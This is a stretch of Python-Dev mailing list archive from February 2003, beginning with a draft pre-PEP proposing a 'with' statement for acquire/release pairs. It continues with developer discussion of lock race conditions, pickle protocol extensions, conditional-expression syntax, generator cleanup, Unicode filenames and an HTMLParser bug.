<16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> From: Brett Cannon [mailto:bac@OCF.Berkeley.EDU] > So Guido made this request on Wed. morning EST and so far no one = beyond me > has responded. Well, I am going to be starting on my rough of the = summary > in the near future. Now obviously I need a summary of what occured in = the > thread. This can happen one of two ways. > One is that people summarize the parts of the thread that they heavily > participated in and I build off of those (such as the PEP Paul and = Michael > are working on for the 'with' protocol; what is the ETA on that, you > guys?). Sorry. I held off posting the pre-PEP as I wanted the flurry of postings = to die down. Here it is (I hope Exchange doesn't break the formatting...) Paul. PEP: XXXX Title: Syntax for Reliable Acquisition/Release Pairs Version: $Revision: $ Last-Modified: $Date: 2002/08/26 16:29:31 $ Author: Michael Hudson , Paul Moore Status: Draft Type: Standards Track Content-Type: text/plain Created: 18-Dec-2002 Python-Version: 2.4 Post-History: Abstract It would be nice to have a less typing-intense way of writing: the_lock.acquire() try: .... finally: the_lock.release() This PEP proposes a piece of syntax (a 'with' block) and a "small-i" interface that generalizes the above. Rationale One of the advantages of Python's exception handling philosophy is that it makes it harder to do the "wrong" thing (e.g. failing to check the return value of some system call). Currently, this does not apply to resource cleanup. The current syntax for acquisition and release of a resource (for example, a lock) is=20 the_lock.acquire() try: .... finally: the_lock.release() =20 This syntax separates the acquisition and release by a (possibly large) block of code, which makes it difficult to confirm "at a glance" that the code manages the resource correctly. Another common error is to code the "acquire" call within the try block, which incorrectly releases the lock if the acquire fails. Basic Syntax and Semantics The syntax of a 'with' statement is as follows:: 'with' [ var '=3D' ] expr ':' suite This statement is defined as being equivalent to the following sequence of statements: var =3D expr if hasattr(var, "__enter__"): var.__enter__() try: suite finally: if hasattr(var, "__exit__"): var.__exit__() If the variable is omitted, an unnamed object is allocated on the stack. In that case, the suite has no access to the unnamed object. Possible Extensions A number of potential extensions to the basic syntax have been discussed on the Python Developers list. None of these extensions are included in the solution proposed by this PEP. In many cases, the arguments are nearly equally strong in both directions. In such cases, the PEP has always chosen simplicity, simply because where extra power is needed, the existing try block is available. Multiple expressions One proposal was for allowing multiple expressions within one 'with' statement. The __enter__ methods would be called left to right, and the __exit__ methods right to left. The advantage of doing so is that where more than one resource is being managed, nested 'with' statements will result in code drifting towards the right margin. The solution to this problem is the same as for any other deep nesting - factor out some of the code into a separate function. Furthermore, the question of what happens if one of the __exit__ methods raises an exception (should the other __exit__ methods be called?) needs to be addressed. Exception handling An extension to the protocol to include an optional __except__ handler, which is called when an exception is raised, and which can handle or re-raise the exception, has been suggested. It is not at all clear that the semantics of this extension can be made precise and understandable. For example, should the equivalent code be try ... except ... else if an exception handler is defined, and try ... finally if not? How can this be determined at compile time, in general? The alternative is to define the code as expanding to a try ... except inside a try ... finally. But this may not do the right thing in real life. The only use case identified for exception handling is with transactional processing (commit on a clean finish, and rollback on an exception). This is probably just as easy to handle with a conventional try ... except ... else block, and so the PEP does not include any support for exception handlers. Implementation Notes The optional assignment in 'with' [ var '=3D' ] expr ':' was initially considered to be too hard to parse correctly. However, by parsing the statement as 'with' expr [ '=3D' expr ] ':' and interpreting the result in the compiler phase, this can be worked around. There is a potential race condition in the code specified as equivalent to the with statement. For example, if a KeyboardInterrupt exception is raised between the completion of the __enter__ method call and the start of the try block, the __exit__ method will not be called. This can lead to resource leaks, or to deadlocks. [XXX Guido has stated that he cares about this sort of race condition, and intends to write some C magic to handle them. The implementation of the 'with' statement should copy this.] Open Issues Should existing classes (for example, file-like objects and locks) gain appropriate __enter__ and __exit__ methods? The obvious reason in favour is convenience (no adapter needed). The argument against is that if built-in files have this but (say) StringIO does not, then code that uses "with" on a file object can't be reused with a StringIO object. So __exit__ =3D close becomes a part of the "file-like object" protocol, which user-defined classes may need to support. The __enter__ hook may be unnecessary - for many use cases, an adapter class is needed and in that case, the work done by the __enter__ hook can just as easily be done in the __init__ hook. If a way of controlling object lifetimes explicitly was available, the function of the __exit__ hook could be taken over by the existing __del__ hook. Unfortunately, no workable proposal for controlling object lifetimes has been made so far. Alternative Ideas IEXEC: holger krekel -- generalised approach with XML-like syntax (no URL found...) Backwards Compatibility This PEP proposes a new keyword, so the __future__ game will need to be played. =20 References There are various python-list and python-dev discussions that could be mentioned here. Copyright This document has been placed in the public domain. =0C Local Variables: mode: indented-text indent-tabs-mode: nil sentence-end-double-space: t fill-column: 70 End: From mwh@python.net Mon Feb 10 10:20:59 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 10 Feb 2003 10:20:59 +0000 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com> (Guido van Rossum's message of "Fri, 07 Feb 2003 13:33:23 -0500") References: <200302071833.h17IXNl11929@odiug.zope.com> Message-ID: <2mznp4l9mc.fsf@starship.python.net> Guido van Rossum writes: > I'm assuming a fair number of people have been following this already > in the checkins list; I think it's ready for review on python-dev: > > http://www.python.org/peps/pep-0307.html Am I understanding correctly that this means the bozo __getstate__ method for classes with __slots__ can go away? Cheers, M. -- 93. When someone says "I want a programming language in which I need only say what I wish done," give him a lollipop. -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html From mal@lemburg.com Mon Feb 10 11:34:48 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 10 Feb 2003 12:34:48 +0100 Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted) In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> Message-ID: <3E478E58.20607@lemburg.com> Moore, Paul wrote: > PEP: XXXX > Title: Syntax for Reliable Acquisition/Release Pairs > Version: $Revision: $ > Last-Modified: $Date: 2002/08/26 16:29:31 $ > Author: Michael Hudson , > Paul Moore > Status: Draft > Type: Standards Track > Content-Type: text/plain > Created: 18-Dec-2002 > Python-Version: 2.4 > Post-History: > > > Abstract > > It would be nice to have a less typing-intense way of writing: > > the_lock.acquire() > try: > .... > finally: > the_lock.release() > > This PEP proposes a piece of syntax (a 'with' block) and a > "small-i" interface that generalizes the above. -1 I don't see the gain from adding new syntax for this. It is rather likely that you want to do other cleanup stuff as well in the finally clause. With your new syntax this would become: try: with mylock: ... finally: ... other cleanup code ... The new syntax saves you one line and obscures the code rather than clarifying what is happening (who knows what mylock does in its __enter__/__exit__ method ?). The original argument for this was not to save you typing, it was built on the rather unlikely case where the process receives a signal or MemoryError causing an exception while executing the byte codes after calling .acquire() and before entering the try-block. However, that's not hard to deal with either because all you need to do is place the .acquire() call inside the try-block and then adding a check whether you have to release the lock in the finally-clause. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 10 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 50 days left EuroPython 2003, Charleroi, Belgium: 134 days left From gmccaughan@synaptics-uk.com Mon Feb 10 12:31:18 2003 From: gmccaughan@synaptics-uk.com (Gareth McCaughan) Date: Mon, 10 Feb 2003 12:31:18 +0000 Subject: [Python-Dev] vox populii illiterati Message-ID: <200302101231.18225.gmccaughan@synaptics-uk.com> Alex Martelli wrote, replying to ?!ing: > Forms such as: > > [ f(23) for f in stuff if callable(f) ] > > have been in Python for years now, and you could indeed > say "the very first thing you see" (the call f(23)) is "getting > short-circuited" by an if-guard at the very end. I think one reason why that isn't so troublesome is that you can think of it as doing the filtering first: it's the same as [f(23) for f in [f for f in stuff if callable(f)]] where the only "short-circuiting" is the trivial sort equivalent to a call to "filter". Except that the unexpanded form is shorter and clearer and avoids a gratuitous list allocation, of course. But, actually, I've always felt slightly queasy about the syntax for filtering in listcomps, because of the way that it interrupts the "right-to-left" dataflow. I'm not sure [f(23) if callable(f) for f in stuff] is really any better, though. Maybe it should have been [for f in stuff: if callable(f): f(23)] <0.5 tim>. Actually, I *like* that, because it makes the behaviour of nested listcomps clearer. Oh well. * Speaking of filtering listcomps, am I unusual in thinking it would be nice if you could say "[t in I if C]" instead of "[t for t in I if C]" when all you want is the filtering effect? I suspect I may be, since the shorter form is less logical than the longer. Perhaps the main reason why I want it is that it seems to be what my fingers always type for me when I write a filtering listcomp. -- g From arigo@tunes.org Mon Feb 10 12:38:18 2003 From: arigo@tunes.org (Armin Rigo) Date: Mon, 10 Feb 2003 13:38:18 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <20030203161042.GA15970@magma.unil.ch> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico> <20030203161042.GA15970@magma.unil.ch> Message-ID: <20030210123818.GA13594@magma.unil.ch> Hello everybody, Sorry to reply to myself, just wanted to mention that I found a real need for iterators to have an explicit "finally" action. For my program I will have to invent some convoluted way of doing it :-( On Mon, Feb 03, 2003 at 05:10:42PM +0100, Armin Rigo wrote: > If no first-class thunks are wanted, then maybe the most direct path from > today to auto-closing files is to extend the iterator protocol with an > optional __leave__() method. It would be called exactly once when the > iterator is considered to be exhausted. The semantics of 'for' would be > modified to always call it at the end of the loop, even when an exception or a > return occurs within the loop. This seems (to me) natural because in generators you could then put a 'yield' inside of a 'try-finally' pair. The semantics of def g(): try: yield 5 finally: are quite clear if it is guaranteed that for x in g(): ... always cause the 'finally' part of the generator to be called at the end of the loop. That's even something that is straightforward to implement, given that loops already set up a block stack entry, just like try-finally clauses. It just adds an extra function to the iterator protocol (we could even reasonably re-use tp_clear, for example). Armin From walter@livinglogic.de Mon Feb 10 12:45:17 2003 From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Mon, 10 Feb 2003 13:45:17 +0100 Subject: [Python-Dev] Unicode filenames In-Reply-To: References: Message-ID: <3E479EDD.6050508@livinglogic.de> Just van Rossum wrote: > [...] > BTW. if I try to create a file with an 8-bit filename which is _not_ > valid utf-8, I get a strange error: > > >>> f = open("\xff", "w") > Traceback (most recent call last): > File "", line 1, in ? > IOError: invalid mode: w > >>> > > This exception is thrown when errno is EINVAL, which apparently can also > mean that the filename arg is bad. Not sure if we can fix this. But when the system default encoding (i.e. sys.getdefaultencoding()) and the file system encoding are different, I'd say the filename has to be transcoded from the system default encoding to the filesystem encoding before it is used. Bye, Walter Dörwald From guido@python.org Mon Feb 10 12:49:07 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 07:49:07 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: "Your message of Mon, 10 Feb 2003 04:39:37 +0100." <041301c2d0b6$091e4840$6d94fea9@newmexico> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> Message-ID: <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> > don't worry the pro-camp seems converging toward: > > if if hasattr(obj,'method'): obj.method() else: False: > > or > > if (if hasattr(obj,'method'): obj.method() else: False): If that's really the case, I'll gladly rewrite the PEP to use that; it's not too bad, has no new keywords, and the out-of-order evaluation of the current proposal is beginning to bother me more and more. Still, I'm beginning to be more and more against any form of if-then-else; I'm not yet sure why that is, but I think that I don't see enough places where it's needed, and I find code using it often harder to read. Part of that is my general problem with decyphering expressions with control flow -- my brain is wired to deal with control flow at the statement level very efficiently, but not at the expression level. --Guido van Rossum (home page: http://www.python.org/~guido/) From bh@intevation.de Mon Feb 10 12:53:04 2003 From: bh@intevation.de (Bernhard Herzog) Date: 10 Feb 2003 13:53:04 +0100 Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted) In-Reply-To: <3E478E58.20607@lemburg.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> <3E478E58.20607@lemburg.com> Message-ID: <6qlm0o9u1b.fsf@salmakis.intevation.de> "M.-A. Lemburg" writes: > try: > with mylock: > ... > finally: > ... other cleanup code ... > > The new syntax saves you one line and obscures the code > rather than clarifying what is happening (who knows what > mylock does in its __enter__/__exit__ method ?). If you come across an unfamiliar function or type you look it up in the documentation or the source. I don't see the problem here. > The original argument for this was not to save you typing, > it was built on the rather unlikely case where the process > receives a signal or MemoryError causing an exception while > executing the byte codes after calling .acquire() and before > entering the try-block. > > However, that's not hard to deal with either because > all you need to do is place the .acquire() call inside > the try-block and then adding a check whether you have to > release the lock in the finally-clause. That just moves the race condition to a different place. If the acquire call is inside the try block the place of the race condition is between the acquire call and setting a flag or in the finally clause between checking a flag and actually releasing the lock. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From guido@python.org Mon Feb 10 13:07:56 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 08:07:56 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: "Your message of Mon, 10 Feb 2003 10:20:59 GMT." <2mznp4l9mc.fsf@starship.python.net> References: <200302071833.h17IXNl11929@odiug.zope.com> <2mznp4l9mc.fsf@starship.python.net> Message-ID: <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net> > > I'm assuming a fair number of people have been following this already > > in the checkins list; I think it's ready for review on python-dev: > > > > http://www.python.org/peps/pep-0307.html > > Am I understanding correctly that this means the bozo __getstate__ > method for classes with __slots__ can go away? Alas, not, for backwards compatibility reasons. Pickle protocols 0 and 1 can't be changed, and their pickles must be acceptable for Python 2.2, whose unpickling code doesn't know how to deal with slots. (Ditto for the semi-bozo __reduce__ inherited from object.) I could try to remove the bozo __getstate__ and move the check into the pickling code; that would certainly remove a wart from the code there. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Mon Feb 10 13:13:20 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 08:13:20 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Mon, 10 Feb 2003 13:38:18 +0100." <20030210123818.GA13594@magma.unil.ch> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico> <20030203161042.GA15970@magma.unil.ch> <20030210123818.GA13594@magma.unil.ch> Message-ID: <200302101313.h1ADDKD00373@pcp02138704pcs.reston01.va.comcast.net> Note that this was discussed endlessly when generators were first invented. IIRC, it appeared impossible to implement this in a reasonable manner. > Sorry to reply to myself, just wanted to mention that I found a real > need for iterators to have an explicit "finally" action. For my > program I will have to invent some convoluted way of doing it :-( > > On Mon, Feb 03, 2003 at 05:10:42PM +0100, Armin Rigo wrote: > > If no first-class thunks are wanted, then maybe the most direct > > path from today to auto-closing files is to extend the iterator > > protocol with an optional __leave__() method. It would be called > > exactly once when the iterator is considered to be exhausted. The > > semantics of 'for' would be modified to always call it at the end > > of the loop, even when an exception or a return occurs within the > > loop. > > This seems (to me) natural because in generators you could then put > a 'yield' inside of a 'try-finally' pair. The semantics of > > def g(): > try: > yield 5 > finally: > > > are quite clear if it is guaranteed that > > for x in g(): > ... > > always cause the 'finally' part of the generator to be called at the > end of the loop. That's even something that is straightforward to > implement, given that loops already set up a block stack entry, just > like try-finally clauses. It just adds an extra function to the > iterator protocol (we could even reasonably re-use tp_clear, for > example). But since not all generators are used in for-loops, you can't really make this the for-loop's responsibility. And the for-loop might break out and the iterator might be used more later. The only place where you could possibly do this to cover all cases would be in the generator's destructor, which isn't guaranteed to be called at a specific time in Jython. Not covering all cases seems worse to me than the current explicit rule that you can't do this. --Guido van Rossum (home page: http://www.python.org/~guido/) From mal@lemburg.com Mon Feb 10 13:30:27 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 10 Feb 2003 14:30:27 +0100 Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted) In-Reply-To: <6qlm0o9u1b.fsf@salmakis.intevation.de> References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> <3E478E58.20607@lemburg.com> <6qlm0o9u1b.fsf@salmakis.intevation.de> Message-ID: <3E47A973.2020509@lemburg.com> Bernhard Herzog wrote: > "M.-A. Lemburg" writes: > > >>try: >> with mylock: >> ... >>finally: >> ... other cleanup code ... >> >>The new syntax saves you one line and obscures the code >>rather than clarifying what is happening (who knows what >>mylock does in its __enter__/__exit__ method ?). > > If you come across an unfamiliar function or type you look it up in the > documentation or the source. I don't see the problem here. RTFM fits in with all obfuscation. I don't think that it does with Python's "explicit is better than implicit". >>The original argument for this was not to save you typing, >>it was built on the rather unlikely case where the process >>receives a signal or MemoryError causing an exception while >>executing the byte codes after calling .acquire() and before >>entering the try-block. >> >>However, that's not hard to deal with either because >>all you need to do is place the .acquire() call inside >>the try-block and then adding a check whether you have to >>release the lock in the finally-clause. > > That just moves the race condition to a different place. If the acquire > call is inside the try block the place of the race condition is between > the acquire call and setting a flag or in the finally clause between > checking a flag and actually releasing the lock. Not if the lock object is protected by the global interpreter lock which usually is the case if the lock object is implemented C. Anyway, I don't want to argue here. Just give my vote. Thanks, -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 10 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 50 days left EuroPython 2003, Charleroi, Belgium: 134 days left From barry@python.org Mon Feb 10 13:35:22 2003 From: barry@python.org (Barry A. Warsaw) Date: Mon, 10 Feb 2003 08:35:22 -0500 Subject: [Python-Dev] vox populii illiterati References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> Message-ID: <15943.43674.788264.60647@gargle.gargle.HOWL> >>>>> "SP" == Samuele Pedroni writes: SP> From: "holger krekel" >> if obj.method() if hasattr(obj, 'method') else False: SP> don't worry the pro-camp seems converging toward: SP> if if hasattr(obj,'method'): obj.method() else: False: SP> or SP> if (if hasattr(obj,'method'): obj.method() else: False): "Run away! Run away!" gotta-figure-out-a-way-to-get->>-in-there-ly y'rs, -Barry From mwh@python.net Mon Feb 10 13:54:01 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 10 Feb 2003 13:54:01 +0000 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net> (Guido van Rossum's message of "Mon, 10 Feb 2003 08:07:56 -0500") References: <200302071833.h17IXNl11929@odiug.zope.com> <2mznp4l9mc.fsf@starship.python.net> <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <2misvskzra.fsf@starship.python.net> Guido van Rossum writes: >> > I'm assuming a fair number of people have been following this already >> > in the checkins list; I think it's ready for review on python-dev: >> > >> > http://www.python.org/peps/pep-0307.html >> >> Am I understanding correctly that this means the bozo __getstate__ >> method for classes with __slots__ can go away? > > Alas, not, for backwards compatibility reasons. Pickle protocols 0 > and 1 can't be changed, and their pickles must be acceptable for > Python 2.2, whose unpickling code doesn't know how to deal with slots. > (Ditto for the semi-bozo __reduce__ inherited from object.) OK, but I'm guessing classes with __slots__ will pickle without intervention under protocol 2? Just curious, no big worries. > I could try to remove the bozo __getstate__ and move the check into > the pickling code; that would certainly remove a wart from the code > there. Anything to get code out of typeobject.c . Cheers, M. -- I sense much distrust in you. Distrust leads to cynicism, cynicism leads to bitterness, bitterness leads to the Awareness Of True Reality which is referred to by those-who-lack-enlightenment as "paranoia". I approve. -- David P. Murphy, alt.sysadmin.recovery From mwh@python.net Mon Feb 10 13:55:27 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 10 Feb 2003 13:55:27 +0000 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> (Guido van Rossum's message of "Sun, 09 Feb 2003 20:54:17 -0500") References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <2mhebckzow.fsf@starship.python.net> Guido van Rossum writes: > (In fact, it seems that ?: has an advantage over the PEP's proposal > because the ?: stand out more than the 'if' and 'else' keywords.) This was the thing that surprised me the most when I tried to use the new syntax for a bit. My internal parser just saw return NAME.NAME NAME NAME.NAME NAME NAME and gave up. Cheers, M. -- For their next act, they'll no doubt be buying a firewall running under NT, which makes about as much sense as building a prison out of meringue. -- -:Tanuki:- -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html From just@letterror.com Mon Feb 10 14:09:13 2003 From: just@letterror.com (Just van Rossum) Date: Mon, 10 Feb 2003 15:09:13 +0100 Subject: [Python-Dev] Unicode filenames In-Reply-To: <3E479EDD.6050508@livinglogic.de> Message-ID: Walter D=F6rwald wrote: > Just van Rossum wrote: >=20 > > [...] > > BTW. if I try to create a file with an 8-bit filename which is _not_ > > valid utf-8, I get a strange error: > >=20 > > >>> f =3D open("\xff", "w") > > Traceback (most recent call last): > > File "", line 1, in ? > > IOError: invalid mode: w > > >>>=20 > >=20 > > This exception is thrown when errno is EINVAL, which apparently can > > also mean that the filename arg is bad. Not sure if we can fix this. > But when the system default encoding (i.e. sys.getdefaultencoding()) > and the file system encoding are different, I'd say the filename has > to be transcoded from the system default encoding to the filesystem > encoding before it is used. In most places (probably all, uness there's a bug) Py_FileSystemDefaultEncoding only has relevance for unicode strings: 8-bit strings are passed to the underlying calls unaltered. So the above traceback is the result of the _OS_ refusing to name a file "\xff", which is natural as this particular OS (OSX) uses UTF-8 as the native file system encoding and "\xff" is not valid UTF-8. (I was actually pleasantly surprised the OS actually _cares_ ;-) Just From gminick@hacker.pl Mon Feb 10 13:53:05 2003 From: gminick@hacker.pl (gminick) Date: Mon, 10 Feb 2003 14:53:05 +0100 Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser. In-Reply-To: <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net> References: <20030209205738.GA1740@hannibal> <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030210135305.GA208@hannibal> On Sun, Feb 09, 2003 at 08:12:47PM -0500, Guido van Rossum wrote: > > MSG-ID of the origin: > Alas, that's not help ful in tracking down the original message. Why? > > A bit of investigation showed that the bug exists because of that line: > > P > Which is blatantly invalid HTML, of course. Well, same for me, but as OP said, the w3c validator says the page is ok. > This isn't really the right forum for this, but I hope you can post > either a bug report or a patch to sourceforge. I'll try, but not in this week (no time), anybody can do it earlier? -- [ ] gminick (at) underground.org.pl http://gminick.linuxsecurity.pl/ [ ] [ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ] From skip@pobox.com Mon Feb 10 14:25:38 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 10 Feb 2003 08:25:38 -0600 Subject: [Python-Dev] Re: Atomic operations In-Reply-To: References: <200302031653.h13Grof20104@odiug.zope.com> <200302042057.h14KvEI26727@odiug.zope.com> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <200302051448.h15EmL428173@odiug.zope.com> <15938.27939.731673.576239@gargle.gargle.HOWL> <15938.40091.534416.426167@gargle.gargle.HOWL> Message-ID: <15943.46690.398074.138483@montanaro.dyndns.org> Brett> I was actually thinking more along the lines of having something Brett> like:: Brett> atomic: Brett> lock() Brett> ... Brett> with atomic basically shutting down threading temporarily until Brett> everything in its body is executed. This would presumably generate bytecode something like: GRAB_GIL lock() ... execute the block's code ... unlock() RELEASE_GIL Suppose code in your block makes a call to a threading-aware extension module. Won't it obligingly release the GIL if it goes to do some longish operation? If so, wouldn't you then be screwed? Skip From marklists@mceahern.com Mon Feb 10 14:26:10 2003 From: marklists@mceahern.com (Mark McEahern) Date: Mon, 10 Feb 2003 08:26:10 -0600 Subject: [Python-Dev] Vote-Pop In-Reply-To: Message-ID: > ternary op: -1 > > David LeBlanc > Seattle, WA USA IIRC, Aahz will announce procedures for voting on the python-announce list. You probably know this. I hope you don't miss your chance to have your vote counted. Cheers, // m - From guido@python.org Mon Feb 10 14:38:08 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 09:38:08 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: Your message of "Mon, 10 Feb 2003 13:54:01 GMT." <2misvskzra.fsf@starship.python.net> References: <200302071833.h17IXNl11929@odiug.zope.com> <2mznp4l9mc.fsf@starship.python.net> <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net> <2misvskzra.fsf@starship.python.net> Message-ID: <200302101438.h1AEc8e21948@odiug.zope.com> > >> > I'm assuming a fair number of people have been following this already > >> > in the checkins list; I think it's ready for review on python-dev: > >> > > >> > http://www.python.org/peps/pep-0307.html > >> > >> Am I understanding correctly that this means the bozo __getstate__ > >> method for classes with __slots__ can go away? > > > > Alas, not, for backwards compatibility reasons. Pickle protocols 0 > > and 1 can't be changed, and their pickles must be acceptable for > > Python 2.2, whose unpickling code doesn't know how to deal with slots. > > (Ditto for the semi-bozo __reduce__ inherited from object.) > > OK, but I'm guessing classes with __slots__ will pickle without > intervention under protocol 2? Just curious, no big worries. Yes. > > I could try to remove the bozo __getstate__ and move the check into > > the pickling code; that would certainly remove a wart from the code > > there. > > Anything to get code out of typeobject.c . I'll give that a try right now. --Guido van Rossum (home page: http://www.python.org/~guido/) From fdrake@acm.org Mon Feb 10 14:59:22 2003 From: fdrake@acm.org (Fred L. Drake, Jr.) Date: Mon, 10 Feb 2003 09:59:22 -0500 Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser. In-Reply-To: <20030210135305.GA208@hannibal> References: <20030209205738.GA1740@hannibal> <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net> <20030210135305.GA208@hannibal> Message-ID: <15943.48714.611841.482065@grendel.zope.com> People wrote: > > > A bit of investigation showed that the bug exists because of that line: > > > P > > Which is blatantly invalid HTML, of course. > Well, same for me, but as OP said, the w3c validator says the page is ok. I've opened a bug report on this: http://www.python.org/sf/683938 I generally take the position that the "letter of the law" is all we should worry about in cases like this, but the fact that the W3C validator tells me "the law" isn't exactly interested in this distinction. So we should at least tolerate this construct since it isn't *ambiguous* -- it's just not legal. "Be lenient in what you accept, strict in what you generate." Or something like that. -Fred -- Fred L. Drake, Jr. PythonLabs at Zope Corporation From bh@intevation.de Mon Feb 10 14:26:34 2003 From: bh@intevation.de (Bernhard Herzog) Date: 10 Feb 2003 15:26:34 +0100 Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted) In-Reply-To: <3E47A973.2020509@lemburg.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> <3E478E58.20607@lemburg.com> <6qlm0o9u1b.fsf@salmakis.intevation.de> <3E47A973.2020509@lemburg.com> Message-ID: <6qd6m09pph.fsf@salmakis.intevation.de> "M.-A. Lemburg" writes: > Bernhard Herzog wrote: > > "M.-A. Lemburg" writes: > >>The original argument for this was not to save you typing, > >>it was built on the rather unlikely case where the process > >>receives a signal or MemoryError causing an exception while > >>executing the byte codes after calling .acquire() and before > >>entering the try-block. > >> > >>However, that's not hard to deal with either because > >>all you need to do is place the .acquire() call inside > >>the try-block and then adding a check whether you have to > >>release the lock in the finally-clause. > > That just moves the race condition to a different place. If the acquire > > call is inside the try block the place of the race condition is between > > the acquire call and setting a flag or in the finally clause between > > checking a flag and actually releasing the lock. > > Not if the lock object is protected by the global > interpreter lock which usually is the case if the > lock object is implemented C. That's not enough, unfortunately. In the particular case of locks, the threading.Lock object's release method must only be called when it's locked (same for the other lock objects AFAICT). Seems to me that this would require a flag at the python level and then you have the race condition. Even worse, the race condition is also in something like try: ... finally: mylock.release() as the finally clause consists of several byte codes. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From guido@python.org Mon Feb 10 15:16:17 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 10:16:17 -0500 Subject: [Python-Dev] Re: Atomic operations In-Reply-To: Your message of "Sun, 09 Feb 2003 22:33:33 PST." References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> 